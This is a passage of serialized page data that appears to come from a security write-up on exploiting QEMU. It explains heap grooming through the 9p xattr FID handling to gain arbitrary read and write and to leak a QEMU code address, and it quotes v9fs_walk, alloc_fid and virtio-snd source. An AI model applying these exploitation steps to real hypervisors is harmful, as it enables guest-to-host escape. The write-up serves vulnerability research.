[...]\n",[129544],{"type":23,"tag":209,"props":129545,"children":129546},{"__ignoreMap":7},[129547,129586,129593,129604,129619,129634,129641,129648,129655,129677,129684,129691,129698,129706,129723,129762,129805,129812],{"type":23,"tag":213,"props":129548,"children":129549},{"class":215,"line":216},[129550,129554,129558,129562,129566,129570,129574,129578,129582],{"type":23,"tag":213,"props":129551,"children":129552},{"style":230},[129553],{"type":28,"value":51097},{"type":23,"tag":213,"props":129555,"children":129556},{"style":230},[129557],{"type":28,"value":51102},{"type":23,"tag":213,"props":129559,"children":129560},{"style":220},[129561],{"type":28,"value":127997},{"type":23,"tag":213,"props":129563,"children":129564},{"style":257},[129565],{"type":28,"value":128002},{"type":23,"tag":213,"props":129567,"children":129568},{"style":220},[129569],{"type":28,"value":265},{"type":23,"tag":213,"props":129571,"children":129572},{"style":230},[129573],{"type":28,"value":51680},{"type":23,"tag":213,"props":129575,"children":129576},{"style":274},[129577],{"type":28,"value":282},{"type":23,"tag":213,"props":129579,"children":129580},{"style":268},[129581],{"type":28,"value":128019},{"type":23,"tag":213,"props":129583,"children":129584},{"style":220},[129585],{"type":28,"value":2183},{"type":23,"tag":213,"props":129587,"children":129588},{"class":215,"line":226},[129589],{"type":23,"tag":213,"props":129590,"children":129591},{"style":220},[129592],{"type":28,"value":10964},{"type":23,"tag":213,"props":129594,"children":129595},{"class":215,"line":524},[129596,129600],{"type":23,"tag":213,"props":129597,"children":129598},{"style":230},[129599],{"type":28,"value":55665},{"type":23,"tag":213,"props":129601,"children":129602},{"style":220},[129603],{"type":28,"value":124655},{"type":23,"tag":213,"props":129605,"children":129606},{"class":215,"line":533},[129607,129611,129615],{"type":23,"tag":213,"props":129608,"children":129609},{"style":220},[129610],{"type":28,"value":128144},{"type":23,"tag":213,"props":129612,"children":129613},{"style":274},[129614],{"type":28,"value":1696},{"type":23,"tag":213,"props":129616,"children":129617},{"style":220},[129618],{"type":28,"value":128153},{"type":23,"tag":213,"props":129620,"children":129621},{"class":215,"line":543},[129622,129626,129630],{"type":23,"tag":213,"props":129623,"children":129624},{"style":220},[129625],{"type":28,"value":128144},{"type":23,"tag":213,"props":129627,"children":129628},{"style":274},[129629],{"type":28,"value":1696},{"type":23,"tag":213,"props":129631,"children":129632},{"style":220},[129633],{"type":28,"value":128169},{"type":23,"tag":213,"props":129635,"children":129636},{"class":215,"line":551},[129637],{"type":23,"tag":213,"props":129638,"children":129639},{"emptyLinePlaceholder":18},[129640],{"type":28,"value":530},{"type":23,"tag":213,"props":129642,"children":129643},{"class":215,"line":570},[129644],{"type":23,"tag":213,"props":129645,"children":129646},{"style":220},[129647],{"type":28,"value":104854},{"type":23,"tag":213,"props":129649,"children":129650},{"class":215,"line":655},[129651],{"type":23,"tag":213,"props":129652,"children":129653},{"emptyLinePlaceholder":18},[129654],{"type":28,"value":530},{"type":23,"tag":213,"props":129656,"children":129657},{"class":215,"line":1176},[129658,129663,129667,129672],{"type":23,"tag":213,"props":129659,"children":129660},{"style":220},[129661],{"type":28,"value":129662}," file_fidp ",{"type":23,"tag":213,"props":129664,"children":129665},{"style":274},[129666],{"type":28,"value":3190},{"type":23,"tag":213,"props":129668,"children":129669},{"style":257},[129670],{"type":28,"value":129671}," get_fid",{"type":23,"tag":213,"props":129673,"children":129674},{"style":220},[129675],{"type":28,"value":129676},"(pdu, fid);\n",{"type":23,"tag":213,"props":129678,"children":129679},{"class":215,"line":1202},[129680],{"type":23,"tag":213,"props":129681,"children":129682},{"emptyLinePlaceholder":18},[129683],{"type":28,"value":530},{"type":23,"tag":213,"props":129685,"children":129686},{"class":215,"line":1758},[129687],{"type":23,"tag":213,"props":129688,"children":129689},{"style":220},[129690],{"type":28,"value":104854},{"type":23,"tag":213,"props":129692,"children":129693},{"class":215,"line":1767},[129694],{"type":23,"tag":213,"props":129695,"children":129696},{"emptyLinePlaceholder":18},[129697],{"type":28,"value":530},{"type":23,"tag":213,"props":129699,"children":129700},{"class":215,"line":1789},[129701],{"type":23,"tag":213,"props":129702,"children":129703},{"style":537},[129704],{"type":28,"value":129705}," /* Make the file fid point to xattr */\n",{"type":23,"tag":213,"props":129707,"children":129708},{"class":215,"line":1812},[129709,129714,129718],{"type":23,"tag":213,"props":129710,"children":129711},{"style":220},[129712],{"type":28,"value":129713}," xattr_fidp ",{"type":23,"tag":213,"props":129715,"children":129716},{"style":274},[129717],{"type":28,"value":3190},{"type":23,"tag":213,"props":129719,"children":129720},{"style":220},[129721],{"type":28,"value":129722}," file_fidp;\n",{"type":23,"tag":213,"props":129724,"children":129725},{"class":215,"line":1838},[129726,129730,129734,129738,129742,129746,129750,129754,129758],{"type":23,"tag":213,"props":129727,"children":129728},{"style":268},[129729],{"type":28,"value":128547},{"type":23,"tag":213,"props":129731,"children":129732},{"style":220},[129733],{"type":28,"value":303},{"type":23,"tag":213,"props":129735,"children":129736},{"style":268},[129737],{"type":28,"value":37040},{"type":23,"tag":213,"props":129739,"children":129740},{"style":220},[129741],{"type":28,"value":124},{"type":23,"tag":213,"props":129743,"children":129744},{"style":268},[129745],{"type":28,"value":128471},{"type":23,"tag":213,"props":129747,"children":129748},{"style":220},[129749],{"type":28,"value":124},{"type":23,"tag":213,"props":129751,"children":129752},{"style":268},[129753],{"type":28,"value":9225},{"type":23,"tag":213,"props":129755,"children":129756},{"style":274},[129757],{"type":28,"value":511},{"type":23,"tag":213,"props":129759,"children":129760},{"style":220},[129761],{"type":28,"value":124655},{"type":23,"tag":213,"props":129763,"children":129764},{"class":215,"line":1851},[129765,129769,129773,129777,129781,129785,129789,129793,129797,129801],{"type":23,"tag":213,"props":129766,"children":129767},{"style":268},[129768],{"type":28,"value":128547},{"type":23,"tag":213,"props":129770,"children":129771},{"style":220},[129772],{"type":28,"value":303},{"type":23,"tag":213,"props":129774,"children":129775},{"style":268},[129776],{"type":28,"value":37040},{"type":23,"tag":213,"props":129778,"children":129779},{"style":220},[129780],{"type":28,"value":124},{"type":23,"tag":213,"props":129782,"children":129783},{"style":268},[129784],{"type":28,"value":128471},{"type":23,"tag":213,"props":129786,"children":129787},{"style":220},[129788],{"type":28,"value":124},{"type":23,"tag":213,"props":129790,"children":129791},{"style":268},[129792],{"type":28,"value":39209},{"type":23,"tag":213,"props":129794,"children":129795},{"style":274},[129796],{"type":28,"value":511},{"type":23,"tag":213,"props":129798,"children":129799},{"style":257},[129800],{"type":28,"value":124226},{"type":23,"tag":213,"props":129802,"children":129803},{"style":220},[129804],{"type":28,"value":128584},{"type":23,"tag":213,"props":129806,"children":129807},{"class":215,"line":1864},[129808],{"type":23,"tag":213,"props":129809,"children":129810},{"emptyLinePlaceholder":18},[129811],{"type":28,"value":530},{"type":23,"tag":213,"props":129813,"children":129814},{"class":215,"line":1890},[129815],{"type":23,"tag":213,"props":129816,"children":129817},{"style":220},[129818],{"type":28,"value":104854},{"type":23,"tag":24,"props":129820,"children":129821},{},[129822,129824,129830,129832,129837,129838,129843,129845,129850,129852,129858,129859,129865,129867,129872,129873,129878],{"type":28,"value":129823},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":23,"tag":209,"props":129825,"children":129827},{"className":129826},[],[129828],{"type":28,"value":129829},"V9fsFidState",{"type":28,"value":129831}," object. In other words, if we can place a ",{"type":23,"tag":209,"props":129833,"children":129835},{"className":129834},[],[129836],{"type":28,"value":129829},{"type":28,"value":7411},{"type":23,"tag":209,"props":129839,"children":129841},{"className":129840},[],[129842],{"type":28,"value":129398},{"type":28,"value":129844}," currently sits, the overlapping ",{"type":23,"tag":209,"props":129846,"children":129848},{"className":129847},[],[129849],{"type":28,"value":129406},{"type":28,"value":129851}," chunk can overwrite ",{"type":23,"tag":209,"props":129853,"children":129855},{"className":129854},[],[129856],{"type":28,"value":129857},"V9fsFidState.fs.xattr.value",{"type":28,"value":1466},{"type":23,"tag":209,"props":129860,"children":129862},{"className":129861},[],[129863],{"type":28,"value":129864},"V9fsFidState.fs.xattr.len",{"type":28,"value":129866},". That would immediately give us arbitrary read and write through ",{"type":23,"tag":209,"props":129868,"children":129870},{"className":129869},[],[129871],{"type":28,"value":128660},{"type":28,"value":1466},{"type":23,"tag":209,"props":129874,"children":129876},{"className":129875},[],[129877],{"type":28,"value":128652},{"type":28,"value":124},{"type":23,"tag":24,"props":129880,"children":129881},{},[129882,129884,129889,129890,129895,129897,129902,129904,129910,129912,129917,129919,129924,129926,129931,129933,129938,129940,129945],{"type":28,"value":129883},"At this point, ",{"type":23,"tag":209,"props":129885,"children":129887},{"className":129886},[],[129888],{"type":28,"value":129398},{"type":28,"value":15503},{"type":23,"tag":209,"props":129891,"children":129893},{"className":129892},[],[129894],{"type":28,"value":127867},{"type":28,"value":129896}," chunk, while ",{"type":23,"tag":209,"props":129898,"children":129900},{"className":129899},[],[129901],{"type":28,"value":129829},{"type":28,"value":129903}," falls into the ",{"type":23,"tag":209,"props":129905,"children":129907},{"className":129906},[],[129908],{"type":28,"value":129909},"0x120",{"type":28,"value":129911}," size class. Before freeing ",{"type":23,"tag":209,"props":129913,"children":129915},{"className":129914},[],[129916],{"type":28,"value":129398},{"type":28,"value":129918},", we therefore use the oversized ",{"type":23,"tag":209,"props":129920,"children":129922},{"className":129921},[],[129923],{"type":28,"value":129406},{"type":28,"value":129925}," chunk to change its size to match ",{"type":23,"tag":209,"props":129927,"children":129929},{"className":129928},[],[129930],{"type":28,"value":129829},{"type":28,"value":129932},". Once ",{"type":23,"tag":209,"props":129934,"children":129936},{"className":129935},[],[129937],{"type":28,"value":129398},{"type":28,"value":129939}," is freed, it is inserted into the ",{"type":23,"tag":209,"props":129941,"children":129943},{"className":129942},[],[129944],{"type":28,"value":129909},{"type":28,"value":129946}," tcache bin.",{"type":23,"tag":202,"props":129948,"children":129950},{"code":129949}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| Free |\nv 0x120 v\n+--------------------+---------------+----+\n| |...............| |\n| .value Y |...............| |\n| |...............| |\n+--------------------+---------------+----+\n",[129951],{"type":23,"tag":209,"props":129952,"children":129953},{"__ignoreMap":7},[129954],{"type":28,"value":129949},{"type":23,"tag":24,"props":129956,"children":129957},{},[129958,129960,129965,129967,129973,129975,129981,129983,129988],{"type":28,"value":129959},"After that, we can simply allocate a new ",{"type":23,"tag":209,"props":129961,"children":129963},{"className":129962},[],[129964],{"type":28,"value":129829},{"type":28,"value":129966}," with a ",{"type":23,"tag":209,"props":129968,"children":129970},{"className":129969},[],[129971],{"type":28,"value":129972},"P9_TWALK",{"type":28,"value":129974}," request and a fresh FID - this reaches ",{"type":23,"tag":209,"props":129976,"children":129978},{"className":129977},[],[129979],{"type":28,"value":129980},"alloc_fid",{"type":28,"value":129982},", which allocates a new ",{"type":23,"tag":209,"props":129984,"children":129986},{"className":129985},[],[129987],{"type":28,"value":129829},{"type":28,"value":277},{"type":23,"tag":202,"props":129990,"children":129992},{"code":129991,"language":3244,"meta":7,"className":16566,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n V9fsFidState *fidp;\n V9fsFidState *newfidp = NULL;\n\n [...]\n\n if (fid == newfid) {\n [...]\n } else {\n newfidp = alloc_fid(s, newfid);\n if (newfidp == NULL) {\n err = -EINVAL;\n goto out;\n }\n newfidp->uid = fidp->uid;\n v9fs_path_copy(&newfidp->path, &path);\n }\n\n [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n V9fsFidState *f;\n\n f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n if (f) {\n /* If fid is already there return NULL */\n BUG_ON(f->clunked);\n return NULL;\n }\n f = g_new0(V9fsFidState, 1);\n\n [...]\n",[129993],{"type":23,"tag":209,"props":129994,"children":129995},{"__ignoreMap":7},[129996,130036,130043,130059,130087,130094,130101,130108,130129,130136,130151,130173,130197,130218,130229,130236,130274,130316,130323,130330,130337,130344,130351,130402,130409,130424,130431,130479,130491,130499,130528,130543,130550,130579,130586],{"type":23,"tag":213,"props":129997,"children":129998},{"class":215,"line":216},[129999,130003,130007,130011,130016,130020,130024,130028,130032],{"type":23,"tag":213,"props":130000,"children":130001},{"style":230},[130002],{"type":28,"value":51097},{"type":23,"tag":213,"props":130004,"children":130005},{"style":230},[130006],{"type":28,"value":51102},{"type":23,"tag":213,"props":130008,"children":130009},{"style":220},[130010],{"type":28,"value":127997},{"type":23,"tag":213,"props":130012,"children":130013},{"style":257},[130014],{"type":28,"value":130015},"v9fs_walk",{"type":23,"tag":213,"props":130017,"children":130018},{"style":220},[130019],{"type":28,"value":265},{"type":23,"tag":213,"props":130021,"children":130022},{"style":230},[130023],{"type":28,"value":51680},{"type":23,"tag":213,"props":130025,"children":130026},{"style":274},[130027],{"type":28,"value":282},{"type":23,"tag":213,"props":130029,"children":130030},{"style":268},[130031],{"type":28,"value":128019},{"type":23,"tag":213,"props":130033,"children":130034},{"style":220},[130035],{"type":28,"value":2183},{"type":23,"tag":213,"props":130037,"children":130038},{"class":215,"line":226},[130039],{"type":23,"tag":213,"props":130040,"children":130041},{"style":220},[130042],{"type":28,"value":10964},{"type":23,"tag":213,"props":130044,"children":130045},{"class":215,"line":524},[130046,130050,130054],{"type":23,"tag":213,"props":130047,"children":130048},{"style":220},[130049],{"type":28,"value":128144},{"type":23,"tag":213,"props":130051,"children":130052},{"style":274},[130053],{"type":28,"value":1696},{"type":23,"tag":213,"props":130055,"children":130056},{"style":220},[130057],{"type":28,"value":130058},"fidp;\n",{"type":23,"tag":213,"props":130060,"children":130061},{"class":215,"line":533},[130062,130066,130070,130075,130079,130083],{"type":23,"tag":213,"props":130063,"children":130064},{"style":220},[130065],{"type":28,"value":128144},{"type":23,"tag":213,"props":130067,"children":130068},{"style":274},[130069],{"type":28,"value":1696},{"type":23,"tag":213,"props":130071,"children":130072},{"style":220},[130073],{"type":28,"value":130074},"newfidp ",{"type":23,"tag":213,"props":130076,"children":130077},{"style":274},[130078],{"type":28,"value":3190},{"type":23,"tag":213,"props":130080,"children":130081},{"style":230},[130082],{"type":28,"value":127823},{"type":23,"tag":213,"props":130084,"children":130085},{"style":220},[130086],{"type":28,"value":313},{"type":23,"tag":213,"props":130088,"children":130089},{"class":215,"line":543},[130090],{"type":23,"tag":213,"props":130091,"children":130092},{"emptyLinePlaceholder":18},[130093],{"type":28,"value":530},{"type":23,"tag":213,"props":130095,"children":130096},{"class":215,"line":551},[130097],{"type":23,"tag":213,"props":130098,"children":130099},{"style":220},[130100],{"type":28,"value":104854},{"type":23,"tag":213,"props":130102,"children":130103},{"class":215,"line":570},[130104],{"type":23,"tag":213,"props":130105,"children":130106},{"emptyLinePlaceholder":18},[130107],{"type":28,"value":530},{"type":23,"tag":213,"props":130109,"children":130110},{"class":215,"line":655},[130111,130115,130120,130124],{"type":23,"tag":213,"props":130112,"children":130113},{"style":1362},[130114],{"type":28,"value":2653},{"type":23,"tag":213,"props":130116,"children":130117},{"style":220},[130118],{"type":28,"value":130119}," (fid ",{"type":23,"tag":213,"props":130121,"children":130122},{"style":274},[130123],{"type":28,"value":8660},{"type":23,"tag":213,"props":130125,"children":130126},{"style":220},[130127],{"type":28,"value":130128}," newfid) {\n",{"type":23,"tag":213,"props":130130,"children":130131},{"class":215,"line":1176},[130132],{"type":23,"tag":213,"props":130133,"children":130134},{"style":220},[130135],{"type":28,"value":124092},{"type":23,"tag":213,"props":130137,"children":130138},{"class":215,"line":1202},[130139,130143,130147],{"type":23,"tag":213,"props":130140,"children":130141},{"style":220},[130142],{"type":28,"value":1440},{"type":23,"tag":213,"props":130144,"children":130145},{"style":1362},[130146],{"type":28,"value":3412},{"type":23,"tag":213,"props":130148,"children":130149},{"style":220},[130150],{"type":28,"value":1375},{"type":23,"tag":213,"props":130152,"children":130153},{"class":215,"line":1758},[130154,130159,130163,130168],{"type":23,"tag":213,"props":130155,"children":130156},{"style":220},[130157],{"type":28,"value":130158}," newfidp ",{"type":23,"tag":213,"props":130160,"children":130161},{"style":274},[130162],{"type":28,"value":3190},{"type":23,"tag":213,"props":130164,"children":130165},{"style":257},[130166],{"type":28,"value":130167}," alloc_fid",{"type":23,"tag":213,"props":130169,"children":130170},{"style":220},[130171],{"type":28,"value":130172},"(s, newfid);\n",{"type":23,"tag":213,"props":130174,"children":130175},{"class":215,"line":1767},[130176,130180,130185,130189,130193],{"type":23,"tag":213,"props":130177,"children":130178},{"style":1362},[130179],{"type":28,"value":3369},{"type":23,"tag":213,"props":130181,"children":130182},{"style":220},[130183],{"type":28,"value":130184}," (newfidp ",{"type":23,"tag":213,"props":130186,"children":130187},{"style":274},[130188],{"type":28,"value":8660},{"type":23,"tag":213,"props":130190,"children":130191},{"style":230},[130192],{"type":28,"value":127823},{"type":23,"tag":213,"props":130194,"children":130195},{"style":220},[130196],{"type":28,"value":14870},{"type":23,"tag":213,"props":130198,"children":130199},{"class":215,"line":1789},[130200,130205,130209,130213],{"type":23,"tag":213,"props":130201,"children":130202},{"style":220},[130203],{"type":28,"value":130204}," err ",{"type":23,"tag":213,"props":130206,"children":130207},{"style":274},[130208],{"type":28,"value":3190},{"type":23,"tag":213,"props":130210,"children":130211},{"style":274},[130212],{"type":28,"value":51308},{"type":23,"tag":213,"props":130214,"children":130215},{"style":220},[130216],{"type":28,"value":130217},"EINVAL;\n",{"type":23,"tag":213,"props":130219,"children":130220},{"class":215,"line":1812},[130221,130225],{"type":23,"tag":213,"props":130222,"children":130223},{"style":1362},[130224],{"type":28,"value":60603},{"type":23,"tag":213,"props":130226,"children":130227},{"style":220},[130228],{"type":28,"value":60608},{"type":23,"tag":213,"props":130230,"children":130231},{"class":215,"line":1838},[130232],{"type":23,"tag":213,"props":130233,"children":130234},{"style":220},[130235],{"type":28,"value":3444},{"type":23,"tag":213,"props":130237,"children":130238},{"class":215,"line":1851},[130239,130244,130248,130253,130257,130262,130266,130270],{"type":23,"tag":213,"props":130240,"children":130241},{"style":268},[130242],{"type":28,"value":130243}," newfidp",{"type":23,"tag":213,"props":130245,"children":130246},{"style":220},[130247],{"type":28,"value":303},{"type":23,"tag":213,"props":130249,"children":130250},{"style":268},[130251],{"type":28,"value":130252},"uid",{"type":23,"tag":213,"props":130254,"children":130255},{"style":274},[130256],{"type":28,"value":511},{"type":23,"tag":213,"props":130258,"children":130259},{"style":268},[130260],{"type":28,"value":130261}," fidp",{"type":23,"tag":213,"props":130263,"children":130264},{"style":220},[130265],{"type":28,"value":303},{"type":23,"tag":213,"props":130267,"children":130268},{"style":268},[130269],{"type":28,"value":130252},{"type":23,"tag":213,"props":130271,"children":130272},{"style":220},[130273],{"type":28,"value":313},{"type":23,"tag":213,"props":130275,"children":130276},{"class":215,"line":1864},[130277,130282,130286,130290,130295,130299,130303,130307,130311],{"type":23,"tag":213,"props":130278,"children":130279},{"style":257},[130280],{"type":28,"value":130281}," v9fs_path_copy",{"type":23,"tag":213,"props":130283,"children":130284},{"style":220},[130285],{"type":28,"value":265},{"type":23,"tag":213,"props":130287,"children":130288},{"style":274},[130289],{"type":28,"value":405},{"type":23,"tag":213,"props":130291,"children":130292},{"style":268},[130293],{"type":28,"value":130294},"newfidp",{"type":23,"tag":213,"props":130296,"children":130297},{"style":220},[130298],{"type":28,"value":303},{"type":23,"tag":213,"props":130300,"children":130301},{"style":268},[130302],{"type":28,"value":112377},{"type":23,"tag":213,"props":130304,"children":130305},{"style":220},[130306],{"type":28,"value":424},{"type":23,"tag":213,"props":130308,"children":130309},{"style":274},[130310],{"type":28,"value":405},{"type":23,"tag":213,"props":130312,"children":130313},{"style":220},[130314],{"type":28,"value":130315},"path);\n",{"type":23,"tag":213,"props":130317,"children":130318},{"class":215,"line":1890},[130319],{"type":23,"tag":213,"props":130320,"children":130321},{"style":220},[130322],{"type":28,"value":2875},{"type":23,"tag":213,"props":130324,"children":130325},{"class":215,"line":1899},[130326],{"type":23,"tag":213,"props":130327,"children":130328},{"emptyLinePlaceholder":18},[130329],{"type":28,"value":530},{"type":23,"tag":213,"props":130331,"children":130332},{"class":215,"line":1912},[130333],{"type":23,"tag":213,"props":130334,"children":130335},{"style":220},[130336],{"type":28,"value":104854},{"type":23,"tag":213,"props":130338,"children":130339},{"class":215,"line":1921},[130340],{"type":23,"tag":213,"props":130341,"children":130342},{"style":220},[130343],{"type":28,"value":1208},{"type":23,"tag":213,"props":130345,"children":130346},{"class":215,"line":3879},[130347],{"type":23,"tag":213,"props":130348,"children":130349},{"emptyLinePlaceholder":18},[130350],{"type":28,"value":530},{"type":23,"tag":213,"props":130352,"children":130353},{"class":215,"line":3887},[130354,130358,130363,130367,130371,130376,130380,130384,130388,130393,130398],{"type":23,"tag":213,"props":130355,"children":130356},{"style":230},[130357],{"type":28,"value":51097},{"type":23,"tag":213,"props":130359,"children":130360},{"style":220},[130361],{"type":28,"value":130362}," V9fsFidState ",{"type":23,"tag":213,"props":130364,"children":130365},{"style":274},[130366],{"type":28,"value":1696},{"type":23,"tag":213,"props":130368,"children":130369},{"style":257},[130370],{"type":28,"value":129980},{"type":23,"tag":213,"props":130372,"children":130373},{"style":220},[130374],{"type":28,"value":130375},"(V9fsState ",{"type":23,"tag":213,"props":130377,"children":130378},{"style":274},[130379],{"type":28,"value":1696},{"type":23,"tag":213,"props":130381,"children":130382},{"style":268},[130383],{"type":28,"value":10735},{"type":23,"tag":213,"props":130385,"children":130386},{"style":220},[130387],{"type":28,"value":424},{"type":23,"tag":213,"props":130389,"children":130390},{"style":230},[130391],{"type":28,"value":130392},"int32_t",{"type":23,"tag":213,"props":130394,"children":130395},{"style":268},[130396],{"type":28,"value":130397}," fid",{"type":23,"tag":213,"props":130399,"children":130400},{"style":220},[130401],{"type":28,"value":2183},{"type":23,"tag":213,"props":130403,"children":130404},{"class":215,"line":3918},[130405],{"type":23,"tag":213,"props":130406,"children":130407},{"style":220},[130408],{"type":28,"value":10964},{"type":23,"tag":213,"props":130410,"children":130411},{"class":215,"line":3926},[130412,130416,130420],{"type":23,"tag":213,"props":130413,"children":130414},{"style":220},[130415],{"type":28,"value":128144},{"type":23,"tag":213,"props":130417,"children":130418},{"style":274},[130419],{"type":28,"value":1696},{"type":23,"tag":213,"props":130421,"children":130422},{"style":220},[130423],{"type":28,"value":51218},{"type":23,"tag":213,"props":130425,"children":130426},{"class":215,"line":3986},[130427],{"type":23,"tag":213,"props":130428,"children":130429},{"emptyLinePlaceholder":18},[130430],{"type":28,"value":530},{"type":23,"tag":213,"props":130432,"children":130433},{"class":215,"line":9132},[130434,130439,130443,130448,130452,130456,130460,130465,130469,130474],{"type":23,"tag":213,"props":130435,"children":130436},{"style":220},[130437],{"type":28,"value":130438}," f ",{"type":23,"tag":213,"props":130440,"children":130441},{"style":274},[130442],{"type":28,"value":3190},{"type":23,"tag":213,"props":130444,"children":130445},{"style":257},[130446],{"type":28,"value":130447}," g_hash_table_lookup",{"type":23,"tag":213,"props":130449,"children":130450},{"style":220},[130451],{"type":28,"value":265},{"type":23,"tag":213,"props":130453,"children":130454},{"style":268},[130455],{"type":28,"value":10735},{"type":23,"tag":213,"props":130457,"children":130458},{"style":220},[130459],{"type":28,"value":303},{"type":23,"tag":213,"props":130461,"children":130462},{"style":268},[130463],{"type":28,"value":130464},"fids",{"type":23,"tag":213,"props":130466,"children":130467},{"style":220},[130468],{"type":28,"value":424},{"type":23,"tag":213,"props":130470,"children":130471},{"style":257},[130472],{"type":28,"value":130473},"GINT_TO_POINTER",{"type":23,"tag":213,"props":130475,"children":130476},{"style":220},[130477],{"type":28,"value":130478},"(fid));\n",{"type":23,"tag":213,"props":130480,"children":130481},{"class":215,"line":9150},[130482,130486],{"type":23,"tag":213,"props":130483,"children":130484},{"style":1362},[130485],{"type":28,"value":2653},{"type":23,"tag":213,"props":130487,"children":130488},{"style":220},[130489],{"type":28,"value":130490}," (f) {\n",{"type":23,"tag":213,"props":130492,"children":130493},{"class":215,"line":9195},[130494],{"type":23,"tag":213,"props":130495,"children":130496},{"style":537},[130497],{"type":28,"value":130498}," /* If fid is already there return NULL */\n",{"type":23,"tag":213,"props":130500,"children":130501},{"class":215,"line":9301},[130502,130507,130511,130515,130519,130524],{"type":23,"tag":213,"props":130503,"children":130504},{"style":257},[130505],{"type":28,"value":130506}," BUG_ON",{"type":23,"tag":213,"props":130508,"children":130509},{"style":220},[130510],{"type":28,"value":265},{"type":23,"tag":213,"props":130512,"children":130513},{"style":268},[130514],{"type":28,"value":33141},{"type":23,"tag":213,"props":130516,"children":130517},{"style":220},[130518],{"type":28,"value":303},{"type":23,"tag":213,"props":130520,"children":130521},{"style":268},[130522],{"type":28,"value":130523},"clunked",{"type":23,"tag":213,"props":130525,"children":130526},{"style":220},[130527],{"type":28,"value":2867},{"type":23,"tag":213,"props":130529,"children":130530},{"class":215,"line":23557},[130531,130535,130539],{"type":23,"tag":213,"props":130532,"children":130533},{"style":1362},[130534],{"type":28,"value":2839},{"type":23,"tag":213,"props":130536,"children":130537},{"style":230},[130538],{"type":28,"value":127823},{"type":23,"tag":213,"props":130540,"children":130541},{"style":220},[130542],{"type":28,"value":313},{"type":23,"tag":213,"props":130544,"children":130545},{"class":215,"line":23592},[130546],{"type":23,"tag":213,"props":130547,"children":130548},{"style":220},[130549],{"type":28,"value":2875},{"type":23,"tag":213,"props":130551,"children":130552},{"class":215,"line":23600},[130553,130557,130561,130566,130571,130575],{"type":23,"tag":213,"props":130554,"children":130555},{"style":220},[130556],{"type":28,"value":130438},{"type":23,"tag":213,"props":130558,"children":130559},{"style":274},[130560],{"type":28,"value":3190},{"type":23,"tag":213,"props":130562,"children":130563},{"style":257},[130564],{"type":28,"value":130565}," g_new0",{"type":23,"tag":213,"props":130567,"children":130568},{"style":220},[130569],{"type":28,"value":130570},"(V9fsFidState, ",{"type":23,"tag":213,"props":130572,"children":130573},{"style":514},[130574],{"type":28,"value":4106},{"type":23,"tag":213,"props":130576,"children":130577},{"style":220},[130578],{"type":28,"value":2867},{"type":23,"tag":213,"props":130580,"children":130581},{"class":215,"line":23608},[130582],{"type":23,"tag":213,"props":130583,"children":130584},{"emptyLinePlaceholder":18},[130585],{"type":28,"value":530},{"type":23,"tag":213,"props":130587,"children":130588},{"class":215,"line":23617},[130589],{"type":23,"tag":213,"props":130590,"children":130591},{"style":220},[130592],{"type":28,"value":104854},{"type":23,"tag":24,"props":130594,"children":130595},{},[130596,130598,130603],{"type":28,"value":130597},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":23,"tag":209,"props":130599,"children":130601},{"className":130600},[],[130602],{"type":28,"value":129398},{"type":28,"value":128735},{"type":23,"tag":202,"props":130605,"children":130607},{"code":130606}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+---------------+----+\n| | |....|\n| .value Y | V9fsFidState |....|\n| | |....|\n+--------------------+---------------+----+\n",[130608],{"type":23,"tag":209,"props":130609,"children":130610},{"__ignoreMap":7},[130611],{"type":28,"value":130606},{"type":23,"tag":18945,"props":130613,"children":130615},{"id":130614},"leaking-a-qemu-address",[130616],{"type":28,"value":130617},"Leaking a QEMU Address",{"type":23,"tag":24,"props":130619,"children":130620},{},[130621],{"type":28,"value":130622},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":23,"tag":24,"props":130624,"children":130625},{},[130626,130628,130633],{"type":28,"value":130627},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":23,"tag":209,"props":130629,"children":130631},{"className":130630},[],[130632],{"type":28,"value":123818},{"type":28,"value":277},{"type":23,"tag":202,"props":130635,"children":130637},{"code":130636,"language":3244,"meta":7,"className":16566,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtIOSound *vsnd = VIRTIO_SND(vdev);\n VirtIOSoundPCMBuffer *buffer;\n VirtQueueElement *elem;\n size_t msg_sz, size;\n uint32_t stream_id;\n\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n if (!elem) {\n break;\n }\n /* get the message hdr object */\n msg_sz = iov_to_buf(elem->out_sg,\n elem->out_num,\n 0,\n &hdr,\n sizeof(virtio_snd_pcm_xfer));\n if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n goto rx_err;\n }\n stream_id = le32_to_cpu(hdr.stream_id);\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status);\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size); // [1]\n buffer->elem = elem;\n buffer->vq = vq; // [2]\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n 